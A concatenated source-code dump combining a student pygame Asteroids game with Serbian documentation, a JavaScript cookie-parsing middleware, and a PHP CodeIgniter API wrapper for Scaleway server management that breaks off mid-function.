textsurface = myfont.render('Score: ' + str(next((x for x in self.players if x.id == 4), None).score),
False, (0, 0, 0),
next((x for x in self.players if x.id == 4), None).color)
self.screen.blit(textsurface, (screen_size[0] - 140, screen_size[1] - 90))
lives = pygame.font.SysFont('Arial', 23)
textsurl = lives.render('Lives: ' + str(next((x for x in self.players if x.id == 4), None).lives),
False, (0, 0, 0), next((x for x in self.players if x.id == 4), None).color)
self.screen.blit(textsurl, (screen_size[0] - 140, screen_size[1] - 140))
pygame.display.flip()
self.lock.release()
self.clock.tick(120)
# Crtanje metaka
def draw_all_bullets(self): # added
for player in self.players:
if len(player.bullets) > 0:
for bullet in player.bullets:
bullet.draw_on_screen(self.screen)
# ova linija crta hitbox metka but dont use it!
# pygame.draw.rect(self.screen, (255, 0, 0), bullet.hitbox, 2)
# Crtanje asteroida
def draw_all_asteroids(self):
for asteroid in self.asteroids:
asteroid.draw_on_screen(self.screen)
# ova linija crta hitboxove asteroida
# pygame.draw.rect(self.screen, (255, 0, 0), asteroid.hitbox, 2)
# Crtanje Deus Ex-a
def draw_deus_ex(self):
for deus_ex in self.deus_ex:
deus_ex.draw_on(self.screen)
# Provera da li je prošlo 2 sekunde od stvaranje Deus Ex-a, ako jeste aktivira se njeno dejstvo
def check_deus_ex(self):
for deus_ex in self.deus_ex:
deus_ex.now = time.time()
if deus_ex.now > deus_ex.future:
deus_ex.transform()
# Provera da li je player u godmode-u (Dobija godmode kad umre i traje 2 sekunde)
def check_player_godmode(self):
for player in self.players:
player.now = time.time()
if player.now > player.future:
if player.godmode == 1:
player.godmode = 0
# F-ja za simulaciju pomeranja asteroida i metaka
def move_entities(self):
for player in self.players:
player.move()
if len(player.bullets) > 0:
for bullet in player.bullets:
bullet.move()
for asteroid in self.asteroids:
asteroid.move()
# F-ja za skaliranje sa nivoom
def level_up(self):
global level
level = level + 1
deus_ex = spawn_random_deus_ex()
self.deus_ex.append(deus_ex)
self.asteroids = load_asteroids(1 + level)
for player in self.players:
player.max_speed = player.max_speed * 1.2
player.score += 1000
# F-ja za proveravanje pogotka i koji igrač je pogodio
def hits(self):
for player in self.players:
bullets_to_remove = []
asteroids_to_add = []
asteroids_to_remove = []
score_to_add = 0
for bullet in player.bullets:
for ast in self.asteroids:
if ast.hitbox[1] + ast.hitbox[3] > bullet.direction_xy[1] > ast.hitbox[1]:
if ast.hitbox[0] < bullet.direction_xy[0] < ast.hitbox[0] + ast.hitbox[2]:
print('hit')
bullets_to_remove.append(bullet)
asteroids_to_remove.append(ast)
if ast.asteroid_type == "big":
angle_of_asteroid = math.atan2(ast.direction_xy[1], ast.direction_xy[0])
angle_in_degs = math.degrees(angle_of_asteroid)
corrected_angle = math.radians((-angle_in_degs) % 360)
new_direction_plus = correct_angle_plus(corrected_angle)
new_direction_minus = correct_angle_minus(corrected_angle)
asteroid1 = Asteroid_medium([ast.position[0] + 10, ast.position[1] + 10], screen_size,
ast.speed, new_direction_plus)
asteroid2 = Asteroid_medium([ast.position[0] - 10, ast.position[1] - 10], screen_size,
ast.speed,
new_direction_minus)
# asteroids_to_add.append(asteroid1)
t = Timer(1, asteroids_to_add.append(asteroid1))
t.start()
asteroids_to_add.append(asteroid2)
# t = Timer(0.3, asteroids_to_add.append(asteroid2))
# t.start()
if ast.asteroid_type == "medium":
angle_of_asteroid = math.atan2(ast.direction_xy[1], ast.direction_xy[0])
angle_in_degs = math.degrees(angle_of_asteroid)
corrected_angle = math.radians((-angle_in_degs) % 360)
new_direction_plus = correct_angle_plus(corrected_angle)
new_direction_minus = correct_angle_minus(corrected_angle)
asteroid1 = Asteroid_small([ast.position[0] + 7, ast.position[1] + 7], screen_size,
ast.speed, new_direction_plus)
asteroid2 = Asteroid_small([ast.position[0] - 7, ast.position[1] - 7], screen_size,
ast.speed,
new_direction_minus)
# asteroids_to_add.append(asteroid1)
t = Timer(1, asteroids_to_add.append(asteroid1))
t.start()
asteroids_to_add.append(asteroid2)
score_to_add += ast.score_value
for bullet_to_remove in bullets_to_remove:
try:
player.bullets.remove(bullet_to_remove)
break
except ValueError:
pass
for ast_to_remove in asteroids_to_remove:
try:
self.asteroids.remove(ast_to_remove)
break
except ValueError:
pass
for ast_to_add in asteroids_to_add:
self.asteroids.append(ast_to_add)
if not self.asteroids:
self.level_up()
player.score += score_to_add
# F-ja za proveravanje sa kim se igrač sudario
def player_collision(self):
igr = Howmany.igraci
global eex
players_to_remove = []
self.lock.acquire()
for player in self.players:
if player.godmode == 0:
for ast in self.asteroids:
if ast.hitbox[1] + ast.hitbox[3] > player.position[1] > ast.hitbox[1]:
if ast.hitbox[0] < player.position[0] < ast.hitbox[0] + ast.hitbox[2]:
player.godmode = 1
player.now = time.time()
player.future = player.now + 2
print('collision')
player.lives -= 1
if player.lives <= 0:
players_to_remove.append(player)
eex = eex + 1
player.position[0] = screen_size[0] // 2
player.position[1] = screen_size[1] // 2
break
for deus_ex in self.deus_ex:
if deus_ex.hitbox[1] + deus_ex.hitbox[3] > player.position[1] > deus_ex.hitbox[1]:
if deus_ex.hitbox[0] < player.position[0] < deus_ex.hitbox[0] + deus_ex.hitbox[2]:
if deus_ex.state == 1:
bonus = random.choice([1, 2, 3, 4])
if bonus == 1:
player.score += 1000
if bonus == 2:
player.lives += 1
if bonus == 3:
player.score -= 2000
if bonus == 4:
player.lives -= 1
self.deus_ex.remove(deus_ex)
print('collision with deus_ex')
for pra in players_to_remove:
Howmany.score.append(pra.score)
for player in players_to_remove:
self.players.remove(player)
self.lock.release()
if eex == igr:
Howmany.kraj = 1
# Izbacivanje metka iz liste metaka
def remove_bullets(self):
for player in self.players:
for bullet in player.bullets:
if bullet.direction_xy[0] < -1 or bullet.direction_xy[1] < -1 or bullet.direction_xy[0] > 1280 or \
bullet.direction_xy[1] > 720:
print('removed')
player.bullets.remove(bullet)
# Provera da li postoji igrač sa datim id-jem
def does_player_exist(self, player_id):
obj = next((x for x in self.players if x.id == player_id), None)
if obj is None:
return False
else:
return True
def run(self):
run2 = True
while run2:
for event in pygame.event.get():
if event.type == pygame.QUIT:
run2 = False
elif event.type == AsteroidsGame.UPDATE:
if Howmany.kraj == 1:
self.endScreen()
else:
keys_pressed = pygame.key.get_pressed()
# Pomeranje levo i desno za sve igrače
if keys_pressed[pygame.K_RIGHT] and self.does_player_exist(1):
next((x for x in self.players if x.id == 1), None).turn("right")
# next((x for x in self.players if x.id == 1), None).turn("right")
if keys_pressed[pygame.K_d] and self.does_player_exist(2):
next((x for x in self.players if x.id == 2), None).turn("right")
# next((x for x in self.players if x.id == 2), None).turn("right")
if keys_pressed[pygame.K_KP6] and self.does_player_exist(3):
next((x for x in self.players if x.id == 3), None).turn("right")
# next((x for x in self.players if x.id == 3), None).turn("right")
if keys_pressed[pygame.K_l] and self.does_player_exist(4):
next((x for x in self.players if x.id == 4), None).turn("right")
# next((x for x in self.players if x.id == 4), None).turn("right")
if keys_pressed[pygame.K_LEFT] and self.does_player_exist(1):
next((x for x in self.players if x.id == 1), None).turn("left")
# next((x for x in self.players if x.id == 1), None).turn("left")
if keys_pressed[pygame.K_a] and self.does_player_exist(2):
next((x for x in self.players if x.id == 2), None).turn("left")
# next((x for x in self.players if x.id == 2), None).turn("left")
if keys_pressed[pygame.K_KP4] and self.does_player_exist(3):
next((x for x in self.players if x.id == 3), None).turn("left")
# next((x for x in self.players if x.id == 3), None).turn("left")
if keys_pressed[pygame.K_j] and self.does_player_exist(4):
next((x for x in self.players if x.id == 4), None).turn("left")
# next((x for x in self.players if x.id == 4), None).turn("left")
# Pomeranje pravo za sve igrače
if self.does_player_exist(1):
if keys_pressed[pygame.K_UP] and self.does_player_exist(1):
next((x for x in self.players if x.id == 1), None).isMoving = True
if next((x for x in self.players if x.id == 1), None).speed < next(
(x for x in self.players if x.id == 1), None).max_speed:
next((x for x in self.players if x.id == 1), None).speed += 0.5
if next((x for x in self.players if x.id == 1), None).speed > next(
(x for x in self.players if x.id == 1), None).max_speed:
next((x for x in self.players if x.id == 1), None).speed = next(
(x for x in self.players if x.id == 1), None).max_speed
else:
next((x for x in self.players if x.id == 1), None).isMoving = False
if next((x for x in self.players if x.id == 1), None).speed > 0:
next((x for x in self.players if x.id == 1), None).speed -= 0.5
if next((x for x in self.players if x.id == 1), None).speed < 0:
next((x for x in self.players if x.id == 1), None).speed = 0
if self.does_player_exist(2):
if keys_pressed[pygame.K_w]:
next((x for x in self.players if x.id == 2), None).isMoving = True
if next((x for x in self.players if x.id == 2), None).speed < next(
(x for x in self.players if x.id == 2), None).max_speed:
next((x for x in self.players if x.id == 2), None).speed += 0.5
if next((x for x in self.players if x.id == 2), None).speed > next(
(x for x in self.players if x.id == 2), None).max_speed:
next((x for x in self.players if x.id == 2), None).speed = next(
(x for x in self.players if x.id == 2), None).max_speed
else:
next((x for x in self.players if x.id == 2), None).isMoving = False
if next((x for x in self.players if x.id == 2), None).speed > 0:
next((x for x in self.players if x.id == 2), None).speed -= 0.5
if next((x for x in self.players if x.id == 2), None).speed < 0:
next((x for x in self.players if x.id == 2), None).speed = 0
if self.does_player_exist(3):
if keys_pressed[pygame.K_KP8]:
next((x for x in self.players if x.id == 3), None).isMoving = True
if next((x for x in self.players if x.id == 3), None).speed < next(
(x for x in self.players if x.id == 3), None).max_speed:
next((x for x in self.players if x.id == 3), None).speed += 0.5
if next((x for x in self.players if x.id == 3), None).speed > next(
(x for x in self.players if x.id == 3), None).max_speed:
next((x for x in self.players if x.id == 3), None).speed = next(
(x for x in self.players if x.id == 3), None).max_speed
else:
next((x for x in self.players if x.id == 3), None).isMoving = False
if next((x for x in self.players if x.id == 3), None).speed > 0:
next((x for x in self.players if x.id == 3), None).speed -= 0.5
if next((x for x in self.players if x.id == 3), None).speed < 0:
next((x for x in self.players if x.id == 3), None).speed = 0
if self.does_player_exist(4):
if keys_pressed[pygame.K_i]:
next((x for x in self.players if x.id == 4), None).isMoving = True
if next((x for x in self.players if x.id == 4), None).speed < next(
(x for x in self.players if x.id == 4), None).max_speed:
next((x for x in self.players if x.id == 4), None).speed += 0.5
if next((x for x in self.players if x.id == 4), None).speed > next(
(x for x in self.players if x.id == 4), None).max_speed:
next((x for x in self.players if x.id == 4), None).speed = next(
(x for x in self.players if x.id == 4), None).max_speed
else:
next((x for x in self.players if x.id == 4), None).isMoving = False
if next((x for x in self.players if x.id == 4), None).speed > 0:
next((x for x in self.players if x.id == 4), None).speed -= 0.5
if next((x for x in self.players if x.id == 4), None).speed < 0:
next((x for x in self.players if x.id == 4), None).speed = 0
# Pucanje za sve igrače
if keys_pressed[pygame.K_RETURN] and self.does_player_exist(1):
new_time = datetime.datetime.now()
if new_time - self.fire_time[0] > datetime.timedelta(seconds=0.15):
next((x for x in self.players if x.id == 1), None).shoot()
self.fire_time[0] = new_time
if keys_pressed[pygame.K_LSHIFT] and self.does_player_exist(2):
new_time = datetime.datetime.now()
if new_time - self.fire_time[1] > datetime.timedelta(seconds=0.15):
next((x for x in self.players if x.id == 2), None).shoot()
self.fire_time[1] = new_time
if keys_pressed[pygame.K_KP_ENTER] and self.does_player_exist(3):
new_time = datetime.datetime.now()
if new_time - self.fire_time[2] > datetime.timedelta(seconds=0.15):
next((x for x in self.players if x.id == 3), None).shoot()
self.fire_time[2] = new_time
if keys_pressed[pygame.K_SPACE] and self.does_player_exist(4):
new_time = datetime.datetime.now()
if new_time - self.fire_time[3] > datetime.timedelta(seconds=0.15):
next((x for x in self.players if x.id == 4), None).shoot()
self.fire_time[3] = new_time
self.move_entities()
# self.draw()
self.hits()
self.player_collision()
self.remove_bullets()
self.check_deus_ex()
self.check_player_godmode()
self.clock1.tick(120)
def endScreen(self):
self.scoreboard_active = 1
a = 0
for ast in self.asteroids:
self.asteroids.remove(ast)
for de in self.deus_ex:
self.deus_ex.remove(de)
self.screen.fill(0)
if Howmany.igraci == 1:
while (a < 7):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 72)
textsurface = myfont.render("Game Over", False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (450, 100))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 1: " + str(Howmany.score[0]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 200))
pygame.display.flip()
a = a + 1
time.sleep(1)
elif Howmany.igraci == 2:
while (a < 7):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 72)
textsurface = myfont.render("Game Over", False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (450, 100))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 1: " + str(Howmany.score[0]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 200))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 2: " + str(Howmany.score[1]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 250))
pygame.display.flip()
a = a + 1
time.sleep(1)
elif Howmany.igraci == 3:
while (a < 7):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 72)
textsurface = myfont.render("Game Over", False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (450, 100))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 1: " + str(Howmany.score[0]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 200))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 2: " + str(Howmany.score[1]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 250))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 3: " + str(Howmany.score[2]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 300))
pygame.display.flip()
a = a + 1
time.sleep(1)
elif Howmany.igraci == 4:
while (a < 7):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 72)
textsurface = myfont.render("Game Over", False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (450, 100))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 1: " + str(Howmany.score[0]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 200))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 2: " + str(Howmany.score[1]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 250))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 3: " + str(Howmany.score[2]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 300))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render("Player 4: " + str(Howmany.score[3]), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (550, 350))
pygame.display.flip()
a = a + 1
time.sleep(1)
pygame.quit()
sys.exit()
# Menu.main()
<file_sep>import pygame
def draw_on_screen(image: object, screen: object, position: object) -> object:
""" get rectangle of image"""
box = image.get_rect()
""" position[0]-rect.width//2 -> take the X coordinates where we want to put image and subtract half of image
width
position[1]-rect.height//2 -> take the Y coordinates where we want to put image and subtract half of image
height """
box = box.move(position[0] - box.width // 2, position[1] - box.height // 2)
"""draw image, on position of box on screen"""
screen.blit(image, box)
def rotate_entity(image, angle):
location = image.get_rect().center
new_image = pygame.transform.rotate(image, angle)
new_image.get_rect().center = location
return new_image
<file_sep>import random
import BasicFunctions
import Loader
from GameEntity import GameEntity
class Asteroid(GameEntity):
def __init__(self, image, position, screen_bounds, speed, size_of_hitbox, direction, score_value, asteroid_type, position_of_hitbox):
super(Asteroid, self).__init__(position, image)
self.asteroid_type = asteroid_type
self.hitbox_pos = position_of_hitbox
self.position = position
self.sizeofHitBox = size_of_hitbox
self.direction_xy = direction
self.screen_bounds = screen_bounds
self.speed = speed
self.score_value = score_value
self.hitbox = (self.position[0] - self.hitbox_pos[0], self.position[1]- self.hitbox_pos[1], size_of_hitbox, size_of_hitbox)
def draw_on_screen(self, screen):
BasicFunctions.draw_on_screen(self.image, screen, self.position)
def move(self):
move_x = self.direction_xy[0] * self.speed
move_y = self.direction_xy[1] * self.speed
self.position[0] += move_x
self.position[1] += move_y
if self.position[0] >= self.screen_bounds[0]:
self.position[0] = 0
elif self.position[0] < 0:
self.position[0] = self.screen_bounds[0] - 1
if self.position[1] >= self.screen_bounds[1]:
self.position[1] = 0
elif self.position[1] < 0:
self.position[1] = self.screen_bounds[1] - 1
self.hitbox = (self.position[0] - self.hitbox_pos[0], self.position[1]- self.hitbox_pos[1], self.sizeofHitBox, self.sizeofHitBox)
<file_sep>import pygame
import Loader
from Asteroid import Asteroid
class Asteroid_medium(Asteroid):
def __init__(self, position, screen_bounds, speed, direction):
self.sizeofHitBox = 45
self.resized_image = pygame.transform.scale(Loader.load_image("Asteroid_big.png"), (52, 52))
super(Asteroid_medium, self).__init__(self.resized_image, position, screen_bounds, speed,
self.sizeofHitBox, direction, 150, "medium", [20, 25])
<file_sep>igraci = 0
stanje = 0
score = []
kraj = 0<file_sep>import pygame
import os
def load_image(file_name):
url = os.path.join('images', file_name)
temp = pygame.image.load(url)
retval = temp.convert_alpha()
return retval
def load_sound(file_name):
url = os.path.join('sounds', file_name)
retval = pygame.mixer.Sound(url)
return retval
<file_sep>from GameEntity import GameEntity
import pygame
import Loader
import time
class Deus_ex(GameEntity):
def __init__(self, position):
self.position = position
self.state = 0
self.sizeofHitBox = 40
self.position_of_hitbox = [20, 20]
self.image = Loader.load_image("question_mark.png")
self.now = time.time()
self.future = self.now + 2
self.hitbox = (
self.position[0] - self.position_of_hitbox[0], self.position[1] - self.position_of_hitbox[1], self.sizeofHitBox,
self.sizeofHitBox)
def transform(self):
self.image = Loader.load_image("deus_ex.png")
self.state = 1
<file_sep>Asteroids je arkadna video igra koja je nastala 1979. godine. Kreatori igrice su <NAME>, <NAME>, i <NAME>.
Nasa aplikacija ima podrsku za do 4 igraca na lokalnoj masini. Svaki igrac ima posvecene tastere na tastaturi. Meteori su podeljeni u tri klase: veliki, srednji i mali. Deus-ex machina je podeljena na 2 vrste, koje su podeljene na 2 podvrste. Prva vrsta utice na bodove, gde prva dodaje hiljadu bodova, dok druga umanjuje broj bodova za 2000. Druga vrsta utice na broj zivota, gde jedna oduzima zivot, dok druga dodaje zivot igracu.
Svaki igrac je obelezen razlicitom bojom letelice i teksta. Svi vizuelni elementi u video igri su uradjeni in-house od strane projektnog tima.
Zarad poboljsanja performansi crtanje dodatnih elemenata na ekranu kao sto su meteori upotrebljena je dodatna nit. Pre koriscenja dodatne niti dolazilo je do problema sa performansama gde bi se usled velikog broja elemenata na ekranu desilo da se aplikacija zamrzne na odredjeni vremenski period.
Projekat koristi i timere kako bi ispravio probleme koji su nailazili prilikom igranja igre. Naime, ukoliko se desi da metak pogodi dva asteroide u isto vreme, aplikacija bi prestala da radi. Kako bi se izbegao ovaj problem, prilikom unistavanja vecih asteroida, manji asteroidi bi se pojavljivali u vremenskom razmaku od pola sekunde. Za samog igraca ova promena je neprimetna, a omogucila je da aplikacija ne nailazi na ovu vrstu problema.
Sama aplikacija je podeljena u vise fajlova kako bi se u sto vecoj meri poboljsala solid struktura projekta. Doduse, ovo nije uvek bilo moguce, sto zbog nedovoljnog iskustva sa Python programskim okruzenjem, sto zbog nedovoljnog iskustva sa samom Pygame bibliotekom.
Dobar primer ovoga je kamen spoticanja na koji je projektni tim naisao prilikom pisanja menija. Naime Pygame ima jednu nit pomocu koje prati tok izvrsenja video igre, tj. prolazak iz jednog stanja igre u drugi.
Kako je razvoj projekta zasao u finalizaciju, projektni tim je resio da odradi meni uspomoc kog bi korisnik mogao da odabere broj igraca. Problem je naisao kada je trebalo spojiti tu nit sa niti koja je stvorena zarad same igre. Stoga je projektni tim nasao resenje, koje nije najoptimizovanije i najsavrsenije ali omogucava korisniku da izabere broj igraca i dobije finalni rezultat partije prilikom njenog zavrsetka.
Moguce resenje je kretanje od nule gde bi se ponovo krenulo sa razvojem projekta, ovog puta krenuvsi od menija. Mana ovog pristupa je nedovoljan vremenski rok sa kojim je tim bio suocen.
Sa Python programskim okruzenjem se projektnim tim prvi put susreo na ovom predmetu.
Generalni utisak koji vlada u timu je da je Python izuzetno mocna alatka za odredjeni posao.
Bilo je potrebno dosta vremena da se clanovi tima naviknu na sam programski jezik i pip menadzer paketa imajuci u vidu njihovo dugogodisnje iskustvo sa Microsoft .Net platformom kao i Javascript programskim jezikom.
Python kao programski jezik se prvo i pre svega dosta razlikuje u sintaksi u odnosu na gorepomenute jezike. Generalni problem sa kojim se tim susreo je scope odredjenih funkcija koji nije primetan s'obzirom na filozofiju Python-a da se scope pravi pomocu indentacija.
Sintaksa Python-a je ujedno i mana i prednost ovog programskog jezika. Manjak karaktera omogucava programeru da se fokusira na ono sto je bitno, medjutim problem se stvara kod neiskusnijih korisnika programskog jezika gde usled navika koje su se stekle na drugim programskim jezicima ovo stvara veliku dozu frustracije pri pocetnom radu.
Ono gde Python zaista sija kao programski jezik je njegova ekspresivnost. U njemu je izuzetno lako preneti misao programera u racunar. Programi pisani u Python-u su sazetiji i generalno razumljiviji cak i ljudima koji nisu imali mnogo dodira sa programiranjem.
Pisanje korisnih skripti je izuzetno lako, i postoji dosta dokumentacije na internetu.
Mana Python-a je u njegovoj skalabilnosti. Ukoliko ga poredimo sa enterprise jezicima kao sto su Java i .Net, Python izuzetno manjka prilikom pravljenja skalabilnih enterprise-grade aplikacija.
Implementacija programskih sablona je umnogome otezana jednostavnoscu Python programskoj jezika. Nedostatak interfejsa i apstraktnih klasa u mnogome komplikuje pisanje.
Stoga mozda nije iznenadjujuce da uprkos Python-ovoj popularnosti, Java i .Net jos uvek imaju primat u enterprise svetu, kako zbog gore navedenih stavki tako i zbog podrske sa kojom ta razvojna okruzenja dolaze.
PyCharm programski alat je umnogome olaksao rad sa Python paketima, s'obzirom na to da je omogucio podesavanje virtuelnog okruzenja bez i malo muke. Jedan clan projektnog tima je pokusao da odradi rucno podesavanje projektnog okruzenja preko terminala, koje iako nije tesko, s'obzirom na njegovo neiskustvo doprinelo je dodatnim poteskocama prilikom razvoja projekta.
Za nas projekat smo koristili Pygame open-source biblioteku pisanu za Python programski jezik.
Pygame biblioteka nam je omogucila brzi razvoj odredjenih delova aplikacije iz jednostavnog razloga sto je ova biblioteka upravo posvecena onome sto je bio predmetni zadatak, pravljenju video igara. Mana same biblioteke je losija dokumentacija koja sa njom dolazi kao i neintuitivni nazivi odredjenih metoda u samoj biblioteci. Jedan primer toga je neintuitivno nazvana funkcija `flip` koja je zaduzena za ponovno crtanje elemenata, tj. refresh elemenata na ekranu. Zahvaljujuci ovome je projektni tim proveo poduzi vremenski period pokusavajuci da dibaguje nedostatak renderovanja na ekranu gde se na kraju ispostavilo da je resenje problema bilo da se deo koda prebaci iznad linije u kojoj se nalazila `flip` funkcija.
Takodje, jedan od problema sa kojime se projektni tim susreo je pravljenje grafickog menija koje je opisano na pocetku dokumentacije.
Sve u svemu, moze se reci da iako je Pygame dobra biblioteka sama po sebi, ona zahteva duze proucavanje i vece iskustvo kako bi se efektivnije upotrebila.
Prednosti koriscenja Pygame biblioteke je to sto ne zahteva OpenGL, zatim koriscenje optimizovanih C biblioteka kao i vizejezgrana podrska same biblioteke.
Python je sam po sebi sporiji od C programskoj jezika stoga su se stvaraoci ovog projekta odlucili da koriste C biblioteke uspomoc kojih su napisali neke od najkriticnijih funkcionalnosti potrebnih za rad Pygame biblioteke. Ovim, po recima stvaraoca, su uspeli da poboljsaju performanse biblioteke od 10 do 20 puta u odnosu na biblioteke koje su pisane u Python-u.
|
a9bbd6d523df5eb4d1b8c67cfdf2e60ae4372ccb
|
[
"Markdown",
"Python"
] | 14
|
Python
|
milanmedic/DRS-Project
|
11921f745a7e1e9132f670d6fec9f80f3f81633c
|
ef92340af8b2bbd43b216cabbfbc15bf0fe44963
|
refs/heads/master
|
<repo_name>16qeddy/shortly-express<file_sep>/server/middleware/cookieParser.js
const models = require('../models');
const parseCookies = (req, res, next) => {
if (req.headers.cookie) {
// console.log(req, 'this is the request');
let cookies = req.headers.cookie;
var parsedCookies = cookies.split('; ');
//{ Object (shortlyid) }
//{ Object (shortlyid, otherCookie, ...) }
var returnObj = {};
for (var i = 0; i < parsedCookies.length; i++) {
var parsedCookie = parsedCookies[i].split('=');
returnObj[parsedCookie[0]] = parsedCookie[1];
}
// [key, val, key, val, key , val]
console.log(returnObj);
req.cookies = returnObj;
//res.cookie(returnObj);
next();
}
// else {
// let cookieObj = {'shortlyid': 'blahlblahdlafsaldf'};
// models.Sessions.create(); // <-- ?
// res.send(cookieObj);
// next();
// }
};
module.exports = parseCookies;
|
1e6b179e8e697fcc1d84411b3ddfd05b2bd217ee
|
[
"JavaScript"
] | 1
|
JavaScript
|
16qeddy/shortly-express
|
cb0caa74f760d985209706d13caedc67631afcdf
|
eb27eba81ce284cac90c0fb41f01321542f8698c
|
refs/heads/master
|
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
class Servers extends REST_Controller {
public function index_post()
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$name = $this->post('name');
$region = $this->post('region');
$size = $this->post('size');
$ssh_key = $this->post('ssh_key');
if ($accessToken === NULL) {
$this->set_response(['errors' => array("You must provide the access token header")], 400);
} else {
// Get organisation name
$response = $this->scaleway->listorganisations($accessToken);
$organisationID = $response->organizations[0]->id;
$response = $this->scaleway->createserver($accessToken, $organisationID, $name, $this->config->item('install_image_id'), $size);
if (!$response) {
$this->set_response(['errors' => array("Access token unauthorized")], 401);
} else {
$serverID = $response->server->id;
// Power on the server
$response = $this->scaleway->serveraction($accessToken, $serverID, "poweron");
$response = array('id' => $serverID);
$this->set_response($response, 201);
}
}
}
public function index_get($serverID)
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$response = $this->scaleway->serverdetails($accessToken, $serverID);
if ($response->server->state == "running") {
$status = "active";
} else {
$status = $response->server->state;
}
if (isset($response->server->public_ip->address)) {
$publicIP = $response->server->public_ip->address;
} else {
$publicIP = null;
}
if (isset($response->server->private_ip)) {
$privateIP = $response->server->private_ip;
} else {
$privateIP = null;
}
$finalResponse = array(
'id' => $response->server->id,
'status' => $status,
'name' => $response->server->name,
'external_ip' => $publicIP,
'internal_ip' => $privateIP
);
$this->set_response($finalResponse, 201);
}
public function index_delete()
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$serverID = $this->uri->segment(2);
$response = $this->scaleway->serveraction($accessToken, $serverID, "terminate");
$this->set_response(null, 200);
}
public function reboot_patch()
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$serverID = $this->uri->segment(2);
$response = $this->scaleway->serveraction($accessToken, $serverID, "reboot");
$this->set_response(null, 200);
}
public function rename_patch()
{
$accessToken = $this->input->get_request_header('Auth-Access-Token', TRUE);
$serverID = $this->uri->segment(2);
$name = $this->patch('name');
$response = $this->scaleway->serverrename($accessToken, $serverID, $name);
$this->set_response(null, 200);
}
}
<file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed');
class Scaleway
{
public function __construct()
{
// To use CodeIgniter resources in libraries, we must use this instead of using '$this'
$this->CI =& get_instance();
}
public function createtoken($email, $password, $expires = true)
{
$url = "https://account.scaleway.com/tokens";
$data = array('email' => $email, 'password' => $password);
$response = \Httpful\Request::post($url)
->body(json_encode($data))
->sendsJson()
->send();
if ($response->code == "401") {
return false;
} else {
echo $response->body->token->id;
}
}
public function createserver($authToken, $organization, $name, $image, $type)
{
$url = "https://cp-par1.scaleway.com/servers";
$data = array(
'organization' => $organization,
'name' => $name,
'image' => $image,
'commercial_type' => $type,
'tags' => array('nanobox'),
'enable_ipv6' => true
);
$response = \Httpful\Request::post($url)
->xAuthToken($authToken)
->body(json_encode($data))
->sendsJson()
->send();
return $response->body;
}
public function serveraction($authToken, $serverID, $action)
{
$url = "https://cp-par1.scaleway.com/servers/".$serverID."/action";
$data = array(
'action' => $action
);
$response = \Httpful\Request::post($url)
->xAuthToken($authToken)
->body(json_encode($data))
->sendsJson()
->send();
return $response->body;
}
public function serverdelete($authToken, $serverID)
{
$url = "https://cp-par1.scaleway.com/servers/".$serverID;
$response = \Httpful\Request::delete($url)
->xAuthToken($authToken)
->sendsJson()
->send();
return $response->body;
}
public function serverdetails($authToken, $serverID)
{
$url = "https://cp-par1.scaleway.com/servers/".$serverID;
$response = \Httpful\Request::get($url)
->xAuthToken($authToken)
->sendsJson()
->send();
return $response->body;
}
public function serverrename($authToken, $serverID, $name)
{
// Get server details
$details = $this->serverdetails($authToken, $serverID);
$data = $details->server;
$url = "https://cp-par1.scaleway.com/servers/".$serverID;
$data->name = $name;
$response = \Httpful\Request::put($url)
->xAuthToken($authToken)
->body(json_encode($data))
->sendsJson()
->send();
return $response->body;
}
public function listimages($authToken)
{
$url = "https://cp-par1.scaleway.com/images";
$response = \Httpful\Request::get($url)
->xAuthToken($authToken)
->expectsJson()
->send();
return $response->body->images;
}
public function listorganisations($authToken)
{
$url = "https://account.scaleway.com/organizations";
$response = \Httpful\Request::get($url)
->xAuthToken($authToken)
->expectsJson()
->send();
return $response->body;
}
public function verifytoken($authToken)
{
$url = "https://account.scaleway.com/organizations";
$response = \Httpful\Request::get($url)
->xAuthToken($authToken)
->expectsJson()
->send();
if ($response->code != "200") {
return false;
} else {
return true;
}
}
public function updatekeys($authToken, $userID, $keys)
{
$publicKeys = array('ssh_public_keys' => $keys);
$url = "https://account.scaleway.com/users/".$userID;
$response = \Httpful\Request::patch($url)
